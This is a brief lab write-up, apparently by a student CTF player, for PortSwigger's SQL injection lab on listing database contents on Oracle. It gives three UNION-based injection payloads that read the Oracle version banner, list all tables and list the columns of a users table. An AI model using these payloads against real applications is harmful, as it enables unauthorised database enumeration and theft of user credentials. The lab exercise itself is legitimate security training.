Portswigger SQLi-Lab 8

SQL injection attack, listing the database contents on Oracle

Gifts' union select banner,null from v$version --
Gifts' union select table_name,null from all_tables--
Gifts' union select column_name,null from all_tab_columns where table_name = 'USERS_BDRDAO' --

BS CS undergraduate | CTF Player